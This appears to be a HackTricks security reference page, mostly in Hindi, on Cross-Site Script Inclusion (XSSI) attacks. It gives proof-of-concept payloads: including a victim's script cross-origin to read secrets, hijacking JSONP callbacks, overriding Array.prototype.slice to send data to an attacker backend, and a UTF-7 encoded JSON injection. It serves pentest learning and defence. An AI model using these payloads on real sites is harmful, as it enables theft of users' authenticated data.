XSSI (Cross-Site Script Inclusion)

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

Cross-Site Script Inclusion (XSSI) एक सुरक्षा कमजोरी है जो HTML में script टैग की प्रकृति से उत्पन्न होती है। अधिकांश संसाधनों के विपरीत, जो Same-Origin Policy (SOP) के अधीन होते हैं, स्क्रिप्ट विभिन्न डोमेन से शामिल की जा सकती हैं। यह व्यवहार विभिन्न सर्वरों पर होस्ट की गई लाइब्रेरी और अन्य संसाधनों के उपयोग को सुविधाजनक बनाने के लिए है, लेकिन यह एक संभावित सुरक्षा जोखिम भी प्रस्तुत करता है।

Key Characteristics of XSSI:

  • Bypass of SOP: स्क्रिप्ट Same-Origin Policy से छूट प्राप्त करती हैं, जिससे उन्हें विभिन्न डोमेन में शामिल किया जा सकता है।
  • Data Exposure: एक हमलावर इस व्यवहार का लाभ उठाकर script टैग के माध्यम से लोड किए गए डेटा को पढ़ सकता है।
  • Impact on Dynamic JavaScript/JSONP: XSSI विशेष रूप से गतिशील JavaScript या JSON with Padding (JSONP) के लिए प्रासंगिक है। ये तकनीकें अक्सर प्रमाणीकरण के लिए "ambient-authority" जानकारी (जैसे कुकीज़) का उपयोग करती हैं। जब किसी अलग होस्ट पर स्क्रिप्ट अनुरोध किया जाता है, तो ये क्रेडेंशियल्स (जैसे कुकीज़) स्वचालित रूप से अनुरोध में शामिल हो जाते हैं।
  • Authentication Token Leakage: यदि एक हमलावर किसी उपयोगकर्ता के ब्राउज़र को एक सर्वर से स्क्रिप्ट अनुरोध करने के लिए धोखा दे सकता है, तो वे इन अनुरोधों में निहित संवेदनशील जानकारी तक पहुँच सकते हैं।

Types

  1. Static JavaScript - यह XSSI का पारंपरिक रूप है।
  2. Static JavaScript with Authentication - यह प्रकार विशिष्ट है क्योंकि इसे पहुँच के लिए प्रमाणीकरण की आवश्यकता होती है।
  3. Dynamic JavaScript - इसमें वह JavaScript शामिल है जो गतिशील रूप से सामग्री उत्पन्न करता है।
  4. Non-JavaScript - यह उन कमजोरियों को संदर्भित करता है जो सीधे JavaScript से संबंधित नहीं हैं।

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

इस दृष्टिकोण में, निजी जानकारी एक वैश्विक रूप से सुलभ JavaScript फ़ाइल के भीतर एम्बेड की जाती है। हमलावर इन फ़ाइलों की पहचान फ़ाइल पढ़ने, कीवर्ड खोजने, या नियमित अभिव्यक्तियों जैसे तरीकों का उपयोग करके कर सकते हैं। एक बार जब ये फ़ाइलें मिल जाती हैं, तो निजी जानकारी वाली स्क्रिप्ट को दुर्भावनापूर्ण सामग्री में शामिल किया जा सकता है, जिससे संवेदनशील डेटा तक अनधिकृत पहुँच प्राप्त होती है। एक उदाहरण शोषण तकनीक नीचे दिखाई गई है:

html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI और Authenticated-JavaScript-XSSI

इन प्रकार के XSSI हमलों में संवेदनशील जानकारी को उपयोगकर्ता के अनुरोध के जवाब में गतिशील रूप से स्क्रिप्ट में जोड़ा जाता है। पहचान को कुकीज़ के साथ और बिना अनुरोध भेजकर और प्रतिक्रियाओं की तुलना करके किया जा सकता है। यदि जानकारी भिन्न होती है, तो यह संवेदनशील जानकारी की उपस्थिति का संकेत दे सकता है। इस प्रक्रिया को DetectDynamicJS Burp एक्सटेंशन जैसे उपकरणों का उपयोग करके स्वचालित किया जा सकता है।

यदि संवेदनशील डेटा एक वैश्विक चर में संग्रहीत है, तो इसे नियमित XSSI में उपयोग किए गए समान तरीकों का उपयोग करके शोषित किया जा सकता है। हालाँकि, यदि संवेदनशील डेटा एक JSONP प्रतिक्रिया में शामिल है, तो हमलावर जानकारी प्राप्त करने के लिए कॉलबैक फ़ंक्शन को हाईजैक कर सकते हैं। यह या तो वैश्विक वस्तुओं में हेरफेर करके या JSONP प्रतिक्रिया द्वारा निष्पादित होने के लिए एक फ़ंक्शन सेट करके किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है:

html
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

ग्लोबल नामस्थान में न रहने वाले वेरिएबल्स के लिए, prototype tampering कभी-कभी शोषित किया जा सकता है। यह तकनीक JavaScript के डिज़ाइन का लाभ उठाती है, जहाँ कोड व्याख्या में कॉल की गई प्रॉपर्टी को खोजने के लिए प्रोटोटाइप चेन को पार करना शामिल होता है। कुछ फ़ंक्शंस, जैसे Array का slice, को ओवरराइड करके, हमलावर गैर-ग्लोबल वेरिएबल्स तक पहुँच सकते हैं और उन्हें लीक कर सकते हैं:

javascript
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

हमले के वेक्टर पर आगे की जानकारी सुरक्षा शोधकर्ता Sebastian Lekies के काम में मिल सकती है, जो vectors की एक सूची बनाए रखते हैं।

Non-Script-XSSI

Takeshi Terada का शोध XSSI का एक और रूप प्रस्तुत करता है, जहां Non-Script फ़ाइलें, जैसे CSV, script टैग में स्रोत के रूप में शामिल होने के कारण क्रॉस-ओरिजिन लीक होती हैं। XSSI के ऐतिहासिक उदाहरण, जैसे Jeremiah Grossman का 2006 का हमला जो एक पूर्ण Google पता पुस्तक पढ़ने के लिए था और Joe Walker का 2007 का JSON डेटा लीक, इन खतरों की गंभीरता को उजागर करते हैं। इसके अतिरिक्त, Gareth Heyes एक हमले के रूपांतर का वर्णन करते हैं जिसमें UTF-7 एन्कोडेड JSON का उपयोग JSON प्रारूप से बचने और स्क्रिप्ट निष्पादित करने के लिए किया जाता है, जो कुछ ब्राउज़रों में प्रभावी होता है:

javascript
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
html
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें